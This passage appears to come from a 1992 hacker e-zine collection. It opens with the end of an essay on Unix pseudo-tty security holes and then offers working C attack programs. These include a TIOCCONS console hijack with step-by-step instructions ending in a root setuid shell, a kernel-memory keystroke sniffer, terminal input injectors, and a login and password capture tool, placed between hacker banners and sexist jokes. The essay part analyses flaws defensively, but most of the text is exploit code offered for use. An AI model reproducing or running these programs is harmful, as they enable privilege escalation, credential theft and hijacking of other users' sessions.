reopen it for reading. This means that it can use the TIOCSTI ioctl to
simulate terminal input. (This is another example of the problems caused
by the concept of a ``control terminal.'' TIOCSTI is not inherently bad:
although it really should insert characters at the *front* of the queue,
and although it can interfere with typed input if there's no careful
synchronization, TIOCSTI can be used very effectively. Eliminating it,
as has been done in several BSD-derived systems, is a poor solution.)
A quite different class of filesystem tty bugs comes from this problem:
Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone.
This is a SCINUP. ``User programs want to run other programs under ptys,
so the ptys have to be unprotected for arbitrary programs to use them.''
Unfortunately, a program can access the slave side, then wait for a
program to start using the tty, then suddenly jump in and take control.
(Footnote: POSIX sessions offer no protection against this. As the POSIX
Rationale, B.7.1.1.4, states: ``A process accessing a terminal that is
not its controlling terminal is effectively treated the same as a member
of the foreground process group. While this may seem unintuitive, note
that these controls are for the purpose of job control, not security,
and job control relates only to a process's controlling terminal.
*Normal file access permissions handle security*'' (italics added).
Apparently this has been removed from the POSIX.1-1990 rationale; this
author finds it disturbing that the POSIX committee no longer thinks
normal file access permissions should handle security.)
A particularly nasty application of this hole is to have a program keep
TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other
program with the usual pty allocation code) will find /dev/ttyp0 open
before looking at any other tty, so login be killed instantly. In
combination with other bugs, this can force the sysadmin to shut off
power to the machine, without so much as an accounting trace afterwards.
Another application is a simple Trojan horse, which popular myth says is
impossible for network logins if the attacker doesn't have root
privilege. (Details of this attack are left to the reader.)
It is also clear that, because ptys are static and unprotected, one user
can trivially deny service to all others, again without so much as an
accounting record. While denial of service is not as severe as a true
security hole, it is just as important.
Note that some systems have even the hardwired ttys set up mode 666 when
they're unused. This is pointless. It leads to the same bugs as above
and has no conceivable application.
A different type of tty bug---one that would apply even if ttys weren't
in the filesystem---is that a program can retain access to a tty even
after someone else logs in. Without some major enhancements to the
system (viz.: dynamic ptys, perhaps through streams), telnetd and getty
have to reuse an available tty without knowing whether a background
process still has access to that tty. Users regularly complain about
garbage spewed onto their screens by other users' background processes;
a security hole waiting for accidents to happen is more dangerous than
one that is difficult to exploit.
The careful reader may have raised several objections to the above
descriptions, as some manual pages give the impression that a user can
protect himself from attackers. If a process is running under a
terminal, isn't it susceptible to signals from that terminal? If it's
not in the tty's process group, doesn't it get stopped if tostop is set?
The answers are yes and yes, but an attacker can ignore various signals,
set his process group carefully, and/or stick himself inside a vfork()
to dodge these signal problems.
A more important objection is that vhangup() revokes access to ttys.
However, empirical tests show that vhangup() does nothing on many
systems, less than its documentation on most, and in any case not much.
Even if it worked as documented, it would not revoke a process's access
to its control terminal. Convex UNIX, perhaps the most secure available
BSD UNIX with respect to tty protection, has a large amount of paranoia
coded into the kernel in various attempts to solve the problems
mentioned above. Even it does not protect against all the above attacks,
and race conditions defeat much of its care.
Until UNIX has a working enforce() call to reliably enforce new access
permissions on an object, users should never be given permission for
anything that they may not be allowed to do forever.
It is worthwhile to note another SCINUP at this point: On Sun's popular
workstations, /etc/utmp is almost always mode 666. Sun did this because
many of its window programs (``tools''), like many programs available
for other machines, would benefit from an /etc/utmp entry. Making
/etc/utmp world-writable was considered more secure than making those
programs setuid root. Unfortunately, many programs depend on /etc/utmp
for accurate information, and can develop new security holes if they are
deluded into thinking that a different user is working under the tty.
Even on single-user machines, a writable /etc/utmp is an accident
waiting to happen.
6. Adding pty security to current systems
In this section, we consider what pty can do to prevent the security
holes of section 5. This section is mainly of interest to system
managers of machines derived from BSD 4.2 or 4.3.
Without support from the kernel, pty must run setuid to provide real
security. It is careful to make sure that the slave runs as the original
uid; it is very careful to make sure that the kernel accounts pty use to
the correct user; and it is extremely careful not to touch any files
outside the session directory. (Foornote: This level of security is very
difficult to achieve under System V before release 4.)
Under BSD, pty can successfully run setuid as any given user. (It can be
installed by unprivileged users on current insecure machines, but after
taking all the steps mentioned in this section, a sysadmin can be sure
that unauthorized pseudo-tty access is impossible.) Unfortunately, even
BSD doesn't provide enough security features; as mentioned in section 4,
various restrictions, missing capabilities, and bugs probably require
that pty be installed setuid root.
We will assume that some user, say ``pty'', has been set up for pty use.
This should be a system-only account, never used for interactive logins
and only available for storing privileged programs and secure files. It
may or may not be the same as root.
With pty in place, two SCINUPs disappear immediately. Unused psuedo-ttys
can be made owner pty, mode 600; and /etc/utmp can be made owner pty,
mode 644. Insecure pseudo-ttys and world-writable /etc/utmp are no
longer necessary for user programs to take advantage of these features.
(Of course, pty can work with the old, insecure setup; for a gradual
upgrade, a sysadmin can even dedicate some ptys to secure use and some
old ptys to insecure use.)
pty supports the BSD 4.3 tty group model. It supports leaving pseudo-tty
ownership with pty instead of changing it to the current user. It
supports a default of unwritable (and un-``biffable'') ttys. The pty
package includes mesg and biff adapted to work with these changes. The
system administrator can configure pty without these features if he
wants.
pty's random pseudo-tty searching can give a huge boost to speed and
security, as mentioned in section 2. Its use of TIOCEXCL closes many
holes, though the widespread use of /dev/tty means that this cannot be
made default. These are independent of all other security features.
None of the above (except TIOCEXCL, but there are still races) address
the problem of a background process keeping access to a pseudo-tty.
pty's test for previous access is completely reliable under some
variants of the BSD kernel, and completely unreliable under others. If
the kernel could be counted on to exhibit proper O_NDELAY tty behavior,
pty would have closed the most important tty security hole. The author
is considering adding an option for pty to search the kernel file table.
Of course, it would be even better if the kernel supported real streams
and pty were redone to use dynamic stream pseudo-ttys.
On systems where vhangup() reliably closes everything except /dev/tty,
there's a different solution: Eliminate /dev/tty. This is probably a
good idea for future systems in any case. It is considered further in
section 9.
Installing pty with all security measures enabled is useless unless
programs are modified to actually use pty. It is straightforward to
modify getty so that it always ignores the real tty and forks login
under pty. All hardwired /dev/tty* would remain permanently in raw mode,
owned by root, mode 600.
It is not so easy to modify telnetd to use pty, because telnetd
allocates a pseudo-tty for itself and depends on full control to pass
mode changes between the pseudo-tty and the telnet on the other side of
the network. The author has done the necessary work, using pty's file
descriptor passing feature to give telnetd the tty descriptors. A side
effect of this strategy is that the patched telnetd runs at the same
efficiency as the original version, even after a reconnect. Patches for
telnetd are included in the pty package.
A few problems arise because pty and login have different views of
/etc/utmp. The latter's strategy regularly leads to race conditions on
heavily used machines, does not adapt well to ptys used in random order,
and is logically impossible to adapt to dynamically allocated ptys.
Nevertheless, pty has to conform to it, so the patched telnetd invokes
pty with -xR to find ptys in an order that login can handle. (Footnote:
A much better solution is to have utmp initialized at system startup to
list all available ptys, in the order that login requires; then pty will
conform to that order. This still won't help login once ptys are out of
the filesystem.)
A more serious problem is that the pseudo-tty is allocated before
authentication and hence is controlled by root. The pty package includes
a ``sessuser'' command to fix this problem. Once the user owns the
pseudo-tty file and is listed in /etc/utmp for that tty (all as per
login's usual procedure), ``sessuser'' changes ownership of the session
to the user. Then all the other session commands will work properly.
Some work still needs to be done, to adapt other common programs
(rlogind, screen, emacs, etc.) to use the pty model. In the meantime, a
sysadmin can take the ``gradual upgrade'' strategy and leave those old
programs to use insecure pseudo-ttys. Users will meanwhile garner the
benefits of tty security and session management.
7. pty extras
lock is a clone of the usual program. It corrects many of the original's
failings, by being much simpler: it does not accept hasta la vista; it
does not accept the root password; it never times out; and it does print
a message for each bad password. (Also, unlike many versions, it catches
all tty signals; so even if an attacker manages to reset the tty from
raw mode, he cannot interrupt the lock.)
write has several
security holes: 1. Control characters were passed through. This version
converts anything unprintable into a caret. 2. Lines were not
distinctively marked. A user could manually simulate the ``EOT'' or
``EOF'' sequence, wait a few minutes, then start sending anything to the
other tty without identification. This version precedes each line with
the name of the sending user, and prints something more informative than
EOT for an ended message. 3. write could be used to flood a terminal.
(This is an accident waiting to happen.) This version puts a one-second
pause between each line and restricts line length. 4. Originally, write
would only check the protection on the tty being written to. But this
meant that a user could be interrupted by someone hiding behind mesg n
and have no recourse. (Footnote: Remember that UNIX has no enforce()
call to enforce new permissions on an object. Setting mesg n does not
stop a write in progress.) So many versions of write included
``revenge'': X was allowed to write to Y only if Y could write back.
However, these versions tested tty protection only at the beginning of a
message---which was useless. This version does the correct test: it
simply checks write permission before sending each new line.
------------------------------------------------------------------------------
Comments: more comments/applications for this information are needed.
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
C0dEz R el8 d00d! We wANt m0rE c0deZ iN d1s mAG!
==============================================================================
blast.c 4.cb.15.00 04/04/92
------------------------------------------------------------------------------
DATA:
Signals
=======
There is a major bug in 4.2 which allows you to set your process group
and your terminal process group to any value you like. This results in
several nasty security features.
#include <sgtty.h>
#include <stdio.h>
main(argc, argv)
char **argv;
{
register char *str;
register char *cp;
register int pid;
int pgrp;
struct sgttyb sb;
struct sgttyb nsb;
struct tchars tc;
struct ltchars lc;
if (argc < 2)
{
fprintf(stderr, "usage: blast [-ksd] pid ...\n");
exit(1);
}
ioctl(0, TIOCGETP, &sb);
nsb = sb;
nsb.sg_flags &= ~ECHO;
ioctl(0, TIOCSETN, &nsb);
if (ioctl(0, TIOCGETC, &tc))
{
perror("getc");
goto done;
}
if (ioctl(0, TIOCGLTC, &lc))
{
perror("lgetc");
goto done;
}
argv++;
cp = &tc.t_intrc;
sigsetmask(-1);
while (argc-- > 1)
{
str = *argv++;
if (*str == '-')
{
switch (str[1]) {
case 'k': /* kill process */
cp = &tc.t_intrc;
break;
case 's': /* stop process */
cp = &lc.t_suspc;
break;
case 'd': /* dump process */
cp = &tc.t_quitc;
break;
default: /* illegal */
fprintf(stderr, "bad option\n");
goto done;
}
continue;
}
pid = 0;
while (*str)
{
pid = pid * 10;
if ((*str < '0') || (*str > '9'))
{
fprintf(stderr, "bad number\n");
goto done;
}
pid += (*str++ - '0');
}
pgrp = getpgrp(pid);
if (pgrp < 0) {
perror("getpgrp");
goto done;
}
if (ioctl(0, TIOCSPGRP, &pgrp)) {
perror("ttyspgrp");
goto done;
}
if (setpgrp(0, pgrp)) {
perror("spgrp");
goto done;
}
if (ioctl(0, TIOCSTI, cp)) {
perror("sti");
goto done;
}
}
done: ioctl(0, TIOCSETN, &sb);
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
A new song by Nirvana: Smells Like Gene Spafford!
==============================================================================
bugntrig.c 4.cb.15.01 04/04/92
------------------------------------------------------------------------------
DATA:
Here you have the code for two nice programs. bug.c and trig.c.
It polls bugid#1008324, the well-known TIOCCONS bug.
I take no responsibility for the problems on your system
that might occur after you have run these programs.
********************************************************************
*Please do understand that if the wrong user get his hands on these*
*programs, he'll get root-priviliges!!!!!! *
********************************************************************
1) Compile bug.c
2) Compile trig.c
3) Move trig to /tmp
4) Run bug (it will wait until sameone is using the console
5) Log in as root on the real console
6) Give some commands on the console
7) Root will be logged out of the console
8) You will have a file, owned by root, chmod 4711, named /tmp/testfile
9) Maybe you have to kill -HUP the getty on the console
to force
the console to work again.
10) Be sure to remove testfil, bug and trig.
bug.c:
#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <stdio.h>
static void thething()
{
alarm(5);
}
static struct sigvec sigge = {
thething,
sigmask(SIGALRM),
SV_INTERRUPT
};
main()
{
int m,s;
char buf[1024];
char *l;
time_t yesterday;
struct stat devcon;
/* The last pty on the system */
static char lastpty[]="/dev/ptyvf";
/* The name of the program "trig" */
static char horrible[] = ";/tmp/trig;exit\n";
sigvec(SIGALRM,&sigge,0);
if(stat("/dev/console",&devcon) == -1) {
perror("/dev/console");
exit(1);
}
yesterday=devcon.st_atime;
if((m=open(lastpty,O_RDWR)) == -1) {
perror(lastpty);
exit(1);
}
lastpty[5]='t';
if((s=open(lastpty,O_RDWR)) == -1) {
perror(lastpty);
exit(1);
}
/* Ok, now get total control of the console */
if(ioctl(s,TIOCCONS) == -1) {
perror("TIOCONS");
exit(1);
}
alarm(5);
/* Wait until the console is used */
do {
if (read(m,buf,sizeof buf)<0 && errno!=EINTR)
return 1;
stat("/dev/console",&devcon);
} while (devcon.st_atime==yesterday);
/* Do the ugly stuff */
alarm(0);
switch (fork()) {
case -1:
return 1;
case 0:
alarm(10);
while (read(m,buf,sizeof buf)>0)
;
break;
default:
/* In the main process, put the "horrible" command on the console */
for (l=horrible; *l; l++)
if (write(m,l,1)==-1)
break;
while (wait(0)<=0)
;
}
return 0;
}
trig.c:
#include <termios.h>
#include <fcntl.h>
int main(argc,argv,envp)
int argc;
char **argv,**envp;
{
int s;
s=open("/dev/console",O_WRONLY);
ioctl(s,TIOCCONS);
close(s);
/* Change this to a nice directory ... */
chdir("/tmp");
chown("testfil",0,0);
chmod("testfil",04711); /* Oops, here we go... */
return 0;
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
If women are so independant, why do they go to the bathroom in pairs?
==============================================================================
readtty.c 4.cb.15.02 04/04/92
------------------------------------------------------------------------------
DATA:
#include <stdio.h>
#include <sys/ttyio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>
/**
**/
#defineNDZ1/* DZ's and DH's have to be mapped into */
#defineNDH2/* your own hardware*/
#define NPT2/* number of pty controllers*/
#defineDZ111/* major device number of the dz11*/
#defineDH1133/* major device number of the dh11*/
#define PTY20/* major device number of the ptys*/
#defineDZ_X8/* eight lines per dz11*/
#defineDH_X16/* sixteen lines per dh11*/
#define PT_X16/* sixteen lines per pty controller*/
#undefmajor()/* need to do this because of kernel*/
#undefminor()/* macros used to strip off device #'s */
static struct nlist nl[2];
static char *name_list[] = {
"_dz_tty",/* base address of the dz tty structures*/
"_dhu11" ,/* same for the dh's*/
"_pt_tty",/* pseudo-ttys*/
0
};
main(argc , argv)
char **argv;
int argc;
{
/********************************/
int major;/* place to hold major #*/
int minor;/* place to hold minor #*/
int board_type;/* tells me which kind of tty */
int fd;/* fd for memory*/
long offset;/* how far into the above tables*/
struct tty ttyb;/* place to put the tty buffer*/
extern char *calloc();/* our friend calloc*/
get_args(&major , &minor , argc , argv);
check_args(major , minor , &board_type , argv);
get_name_list(board_type , argv);
open_memory(&fd , argv);
{
char *p;/* blank out argument list */
for (p = argv[1]; *p != '\0'; p++) *p = '\0';
for (p = argv[2]; *p != '\0'; p++) *p = '\0';
}
offset = minor * sizeof(struct tty);
fflush(stdout);
fflush(stdout);
while (1) {
read_tty(fd , nl[0].n_value , offset , &ttyb);
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
}
}
/**
***Much monkeying around was done before I settled on this
***procedure. I attempted to follow the c_next pointers in
***the individual cblocks. This is friutless since by the
***time we do the second seek and read the information has
***been whisked away.
***
***So - The LIMITATIONS of this routine are:
***
***cannot read from any tty in RAW mode
***can only snarf first 28 characters (ie
***the first cblock)
***
***Nice things about this routine:
***
***only NEW characters are echoed to the output
***(eg characters in the cblock which have been
***seen before are swallowed).
**/
get_clist(fd , cl)
register struct clist *cl;
{
static char c[CBSIZE];
static char *old_start = 0 , *old_finish = 0;
static int old_i = 0;
char *pntr;
int tn , in;
if ((cl->c_cc > 0) &&
((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
pntr = c;
lseek(fd , (long) cl->c_cf , 0);
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
if (old_start == cl->c_cf) {
in -= old_i;
pntr += old_i;
}
if (in > 0) while (in--) putchar(*(pntr++));
else if (in < 0) while (in++) putchar('\010');
fflush(stdout);
old_i = tn;
old_start = cl->c_cf;
old_finish = cl->c_cl;
}
if (cl->c_cc <= 0) {
if (old_i != 0) putchar('\n');
old_i = (int) NULL;
old_start = old_finish = NULL;
}
}
read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
{
register int i;
lseek(fd , base + offset , 0);
i = read(fd , buffer , sizeof(struct tty));
if (i != sizeof(struct tty)) {
printf("unexpected return from read\n");
printf("should have been %d\n" , sizeof(struct tty));
printf("was %d\n" , i);
exit(0);
}
}
open_memory(fd , argv)
int *fd;
char **argv;
{
if ((*fd = open("/dev/kmem" , 0)) < 0) {
perror(argv[0]);
exit(0);
}
}
get_name_list(index,argv)
int index;
char **argv;
{
nl[0].n_name = name_list[index];
nlist("/vmunix" , nl);
if (! nl[0].n_type) {
printf("%s: couldn't get name list\n" , argv[0]);
exit(0);
}
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
}
get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
{
if (argc != 3) {
fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
exit(0);
}
*major = atoi(argv[1]);
*minor = atoi(argv[2]);
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
}
check_args(major , minor , board , argv)
char **argv;
int *board;
{
if (minor < 0) {
bad_minor:printf("%s: bad minor device number\n" , argv[0]);
exit(0);
}
switch (major) {
case DZ11:
if (minor >= NDZ * DZ_X) goto bad_minor;
printf("DZ11 - Unit %d\n" , minor / DZ_X);
*board = 0;
break;
case DH11:
if (minor >= NDH * DH_X) goto bad_minor;
printf("DH11 - Unit %d\n" , minor / DH_X);
*board = 1;
break;
case PTY:
if (minor >= NPT * PT_X) goto bad_minor;
printf("PTY - Unit %d\n" , minor / PT_X);
*board = 2;
break;
default:
printf("%s: bad major device number\n" , argv[0]);
exit(0);
}
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
If men are interested in only one thing, why do we like beer so much?
==============================================================================
stufftty.c 4.cb.15.03 04/04/92
------------------------------------------------------------------------------
DATA:
Terminals
=========
Under 4.2BSD and it's derivatives, a user can "write" on another users
terminal as if he was really there. Here is some code I call "stuff"
to show off this nasty bug.
/*
* Stuff: program to stuff input into another terminal.
*
* This program bypasses the normal superuser check for stuffing chars
* into other people's terminals. All you need is write permission on
* the user's terminal.
*/
#include <sgtty.h>
#include <stdio.h>
main(argc, argv)
char **argv;
{
register int fd; /* file descriptor */
char ch; /* current character */
char name[100]; /* tty name */
struct sgttyb sb; /* old and new tty flags */
struct sgttyb nsb;
if (argc < 2)
{
fprintf(stderr, "stuff ttyname\n");
exit(1);
}
argv++;
if (**argv == '/')
strcpy(name, *argv); /* build full name */
else
sprintf(name, "/dev/%s", *argv);
if (setpgrp(0, 0)) /* clear my process group */
{
perror("spgrp");
goto done;
}
if (open(name, 1) < 0) /* open tty, making it mine */
{
perror(name);
exit(1);
}
fd = open("/dev/tty", 2); /* open read/write as tty */
if (fd < 0)
{
perror("/dev/tty");
exit(1);
}
ioctl(0, TIOCGETP, &sb); /* go to raw mode */
nsb = sb;
nsb.sg_flags |= RAW;
nsb.sg_flags &= ~ECHO;
ioctl(0, TIOCSETN, &nsb);
sigsetmask(-1); /* stop hangups */
printf("Connected. Type ^B to exit\r\n");
while (1)
{
if (read(0, &ch, 1) <= 0) break;
if ((ch & 0x7f) == '\002') break;
if (ioctl(fd, TIOCSTI, &ch)) /* stuff char on "his" tty */
{
perror("\r\nsti failed\r");
goto done;
}
ch &= 0x7f; /* echo it for me */
if (ch < ' ')
{
if ((ch == '\r') || (ch == '\n'))
{
write(1, "\r\n", 2);
continue;
}
ch += '@';
write(1, "^", 1);
write(1, &ch, 1);
continue;
}
if (ch == '\177') {
write(1, "^?", 2);
continue;
}
write(1, &ch, 1);
}
done: ioctl(0, TIOCSETN, &sb); /* reset tty */
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
This is not for the timid, shy, moralistically superior, easily offended,
religous types, system administrators, old foggies, EFF members...etc
==============================================================================
tty-spy1: cover.c 4.cb.15.04 04/04/92
------------------------------------------------------------------------------
DATA:
From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta)
Newsgroups: alt.security,alt.sources,comp.unix.internals
Subject: BSD tty security - an example
Message-ID: <15678@life.ai.mit.edu>
Date: 8 May 91 09:59:14 GMT
Here's a small program I wrote a while back. It speaks for itself,
compile it, run it in the background (with &) and sit back.
This program is an official release of the TimeWasters from HOLLAND !
---
/************************************************************************/
/* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */
/* Unauthorized use and reproduction prohibited. */
/* This program monitors the login process and records its findings. */
/************************************************************************/
#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>
#define DEBUG 1 /* Enable additional debugging info (needed!) */
#define USLEEP /* Define this if your UNIX supports usleep() */
#ifdef ULTRIX
#define TCGETS TCGETP/* Get termios structure */
#define TCSETS TCSANOW/* Set termios structure */
#endif
handler(signal)
int signal; /* signalnumber */
{ /* do nothing, ignore the signal */
if(DEBUG) printf("Ignoring signal %d\n",signal);
}
int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios termios;
result=fgets(string,20,f); /* Read a line into string */
if (result==NULL)
{perror("fgets()");
return(1);
}
if (DEBUG)
{printf("String: %s\n",string);
fflush(stdout);
}
ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */
/* echo = (termios.c_lflag & ECHO);*/
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
ioctl(0,TCSETS,&termios);
for (cp=string;*cp;cp++) /* Push it back as input */
{ e=ioctl(0,TIOCSTI,cp);
if(e<0)
{perror("ioctl()");
return(1);
}
}
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term = "12345678901234567890";
char *login = "12345678901234567890";
char *password = "12345678901234567890";
if (argc < 2)
{ printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",arg]);
printf("Enter ttyname: ");
gets(term);
}
else term=argv[argc-1];
signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);
close(0); /* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /* Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r"); /* Open tty as a stream, this guarantees
getting file descriptor 0 */
if (f==NULL)
{ printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG) system("ps -xu>>/dev/null &");
fclose(f); /* Close the TTY again */
f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
if (f==NULL)
{ printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}
if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000);/* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error/* Alternatives not yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second: %s\n",login,password);
}
fflush(stdout);
sleep(30); /* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}
From: urban@cbnewsl.att.com (john.urban)
Newsgroups: alt.security,alt.sources,comp.unix.internals
Subject: Re: BSD tty security - an example
Message-ID: <1991May9.182941.16988@cbnewsl.att.com>
Date: 9 May 91 18:29:41 GMT
In article <15678@life.ai.mit.edu> fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes:
>Here's a small program I wrote a while back. It speaks for itself,
>compile it, run it in the background (with &) and sit back.
>This program is an official release of the TimeWasters from HOLLAND !
>
>---
> close(0); /* close stdin */
>#ifdef ULTRIX
>if(setpgrp(0,100)==-1)
>perror("setpgrp:"); /* Hopefully this works */
>#else
>if(setsid()==-1)
>perror("setsid:"); /* Disconnect from our controlling TTY and
> start a new session as sessionleader */
>#endif
> f=fopen(term,"r"); /* Open tty as a stream, this guarantees
> getting file descriptor 0 */
> if (f==NULL)
> { printf("Error opening %s with fopen()\n",term);
> exit(2);
> }
>if (DEBUG) system("ps -xu>>/dev/null &");
> fclose(f); /* Close the TTY again */
> f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
> if (f==NULL)
> { printf("Error opening /dev/tty with fopen()\n",term);
> exit(2);
> }
This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0
Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed
successfully.
In this small program:
# cat T.c
main()
{
setsid();
fopen("/dev/tty", "r");
}
# make T
cc -O T.c -o T
# truss ./T
You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the
fopen passes fine.
Sincerely,
John Ben Urban
------------------------------------------------------------------------------
Comments: Buggy and needs some clean up work. Someone please submit a re-do.
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
There's something about a beautiful woman without a brain in her head that
can still be exciting...
==============================================================================
tty-spy2 4.cb.15.05 04/04/92
------------------------------------------------------------------------------
DATA:
From: ag@cbmvax.commodore.com (Keith Gabryelski)
Newsgroups: alt.sources
Subject: advise (spy) for streams ttys.
Message-ID: <15193@cbmvax.commodore.com>
Date: 16 Oct 90 23:26:25 GMT
The included source code includes
advise.c# a user program to interact with
# the advise device and module.
advisedev.c# the advise device driver.
# (requests to attach to a users terminal
# are done through this device)
advisemod.c# the advise module.
# (this module is pushed onto the advisee's
# tty stream so advisedev may attach to
# it.)
advisemod.h# useful header file.
COPYING Makefile# Other files.
Pax, Keith
Ps, This will only work under System V Release 4.0 streams ttys.
With little effort it could be made to work under other streams
tty subsystems.
No amount of effort (save re-thinking and re-implimenting) will
make this thing work on non-streams based ttys.
#! /bin/sh
# This is a shell archive, meaning:
# 1. Remove everything above the #! /bin/sh line.
# 2. Save the resulting text in a file.
# 3. Execute the file with /bin/sh (not csh) to create the files:
#COPYING
#Makefile
#advise.c
#advise.man
#advisedev.c
#advisemod.c
#advisemod.h
# This archive created: Tue Oct 16 19:15:42 1990
export PATH; PATH=/bin:$PATH
if test -f 'COPYING'
then
echo shar: will not over-write existing file "'COPYING'"
else
cat << \SHAR_EOF > 'COPYING'
Advise GENERAL PUBLIC LICENSE
(Clarified 11 Feb 1988)
Copyright (C) 1988 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license, but changing it is not allowed. You can also
use this wording to make the terms for other programs.
The license agreements of most software companies keep you at the
mercy of those companies. By contrast, our general public license is
intended to give everyone the right to share Advise. To make sure that
you get the rights we want you to have, we need to make restrictions
that forbid anyone to deny you these rights or to ask you to surrender
the rights. Hence this license agreement.
Specifically, we want to make sure that you have the right to give
away copies of Advise, that you receive source code or else can get it
if you want it, that you can change Advise or use pieces of it in new
free programs, and that you know you can do these things.
To make sure that everyone has such rights, we have to forbid you to
deprive anyone else of these rights. For example, if you distribute
copies of Advise, you must give the recipients all the rights that you
have. You must make sure that they, too, receive or can get the
source code. And you must tell them their rights.
Also, for our own protection, we must make certain that everyone
finds out that there is no warranty for Advise. If Advise is modified by
someone else and passed on, we want its recipients to know that what
they have is not what we distributed, so that any problems introduced
by others will not reflect on our reputation.
Therefore we (Richard Stallman and the Free Software Foundation,
Inc.) make the following terms which say what you must do to be
allowed to distribute or change Advise.
COPYING POLICIES
1. You may copy and distribute verbatim copies of Advise source code
as you receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy a valid copyright notice "Copyright
(C) 1988 Free Software Foundation, Inc." (or with whatever year is
appropriate); keep intact the notices on all files that refer to this
License Agreement and to the absence of any warranty; and give any
other recipients of the Advise program a copy of this License
Agreement along with the program. You may charge a distribution fee
for the physical act of transferring a copy.
2. You may modify your copy or copies of Advise or any portion of it,
and copy and distribute such modifications under the terms of
Paragraph 1 above, provided that you also do the following:
a) cause the modified files to carry prominent notices stating
that you changed the files and the date of any change; and
b) cause the whole of any work that you distribute or publish,
that in whole or in part contains or is a derivative of Advise or
any part thereof, to be licensed at no charge to all third
parties on terms identical to those contained in this License
Agreement (except that you may choose to grant more extensive
warranty protection to some or all third parties, at your option).
c) You may charge a distribution fee for the physical act of
transferring a copy, and you may at your option offer warranty
protection in exchange for a fee.
Mere aggregation of another unrelated program with this program (or its
derivative) on a volume of a storage or distribution medium does not bring
the other program under the scope of these terms.
3. You may copy and distribute Advise (or a portion or derivative of it,
under Paragraph 2) in object code or executable form under the terms of
Paragraphs 1 and 2 above provided that you also do one of the following:
a) accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of
Paragraphs 1 and 2 above; or,
b) accompany it with a written offer, valid for at least three
years, to give any third party free (except for a nominal
shipping charge) a complete machine-readable copy of the
corresponding source code, to be distributed under the terms of
Paragraphs 1 and 2 above; or,
c) accompany it with the information you received as to where the
corresponding source code may be obtained. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form alone.)
For an executable file, complete source code means all the source code for
all modules it contains; but, as a special exception, it need not include
source code for modules which are standard libraries that accompany the
operating system on which the executable file runs.
4. You may not copy, sublicense, distribute or transfer Advise
except as expressly provided under this License Agreement. Any attempt
otherwise to copy, sublicense, distribute or transfer Advise is void and
your rights to use the program under this License agreement shall be
automatically terminated. However, parties who have received computer
software programs from you with this License Agreement will not have
their licenses terminated so long as such parties remain in full compliance.
5. If you wish to incorporate parts of Advise into other free programs
whose distribution conditions are different, write to the Free Software
Foundation at 675 Mass Ave, Cambridge, MA 02139. We have not yet worked
out a simple rule that can be stated here, but we will often permit this.
We will be guided by the two goals of preserving the free status of all
derivatives of our free software and of promoting the sharing and reuse of
software.
Your comments and suggestions about our licensing policies and our
software are welcome! Please contact the Free Software Foundation, Inc.,
675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296.
NO WARRANTY
BECAUSE ADVISE IS LICENSED FREE OF CHARGE, WE PROVIDE ABSOLUTELY NO
WARRANTY, TO THE EXTENT PERMITTED BY APPLICABLE STATE LAW. EXCEPT
WHEN OTHERWISE STATED IN WRITING, FREE SOFTWARE FOUNDATION, INC,
RICHARD M. STALLMAN AND/OR OTHER PARTIES PROVIDE ADVISE "AS IS" WITHOUT
